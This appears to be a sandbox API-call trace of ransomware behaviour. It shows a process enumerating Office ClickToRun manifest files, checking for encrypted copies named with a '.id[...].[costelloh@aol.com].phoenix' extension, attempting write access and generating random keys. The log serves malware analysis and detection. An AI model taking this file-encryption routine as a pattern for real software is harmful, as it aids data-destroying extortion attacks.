	[0213.763] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0213.765] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=104560) returned 1
	[0213.765] CloseHandle (hObject=0x530) returned 1
	[0213.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml")) returned 0x20
	[0213.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.767] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.767] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0213.768] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=19018) returned 1
	[0213.768] CloseHandle (hObject=0x534) returned 1
	[0213.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 0x20
	[0213.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.772] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.774] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.774] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0213.784] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=11146) returned 1
	[0213.784] CloseHandle (hObject=0x524) returned 1
	[0213.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 0x20
	[0213.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.785] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.785] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.785] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0213.787] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=96644) returned 1
	[0213.787] CloseHandle (hObject=0x52c) returned 1
	[0213.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 0x20
	[0213.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.789] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.790] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.803] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=26782) returned 1
	[0213.803] CloseHandle (hObject=0x548) returned 1
	[0213.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 0x20
	[0213.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.805] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.808] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=29766) returned 1
	[0213.808] CloseHandle (hObject=0x548) returned 1
	[0213.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.808] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.809] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=25518) returned 1
	[0213.809] CloseHandle (hObject=0x548) returned 1
	[0213.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 0x20
	[0213.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.810] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.811] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=24558) returned 1
	[0213.811] CloseHandle (hObject=0x548) returned 1
	[0213.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 0x20
	[0213.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.813] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.814] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.814] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.815] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=14132) returned 1
	[0213.815] CloseHandle (hObject=0x548) returned 1
	[0213.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml")) returned 0x20
	[0213.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.817] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.818] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=174846) returned 1
	[0213.818] CloseHandle (hObject=0x548) returned 1
	[0213.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.819] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.819] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.819] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.821] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=986292) returned 1
	[0213.821] CloseHandle (hObject=0x548) returned 1
	[0213.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml")) returned 0x20
	[0213.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.821] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.823] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=78078) returned 1
	[0213.823] CloseHandle (hObject=0x548) returned 1
	[0213.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml")) returned 0x20
	[0213.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.850] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3f9fa30 | out: pbBuffer=0x3f9fa30) returned 1
	[0213.850] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.862] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f9f9d0 | out: lpFileSize=0x3f9f9d0*=2913) returned 1
	[0213.862] CloseHandle (hObject=0x548) returned 1
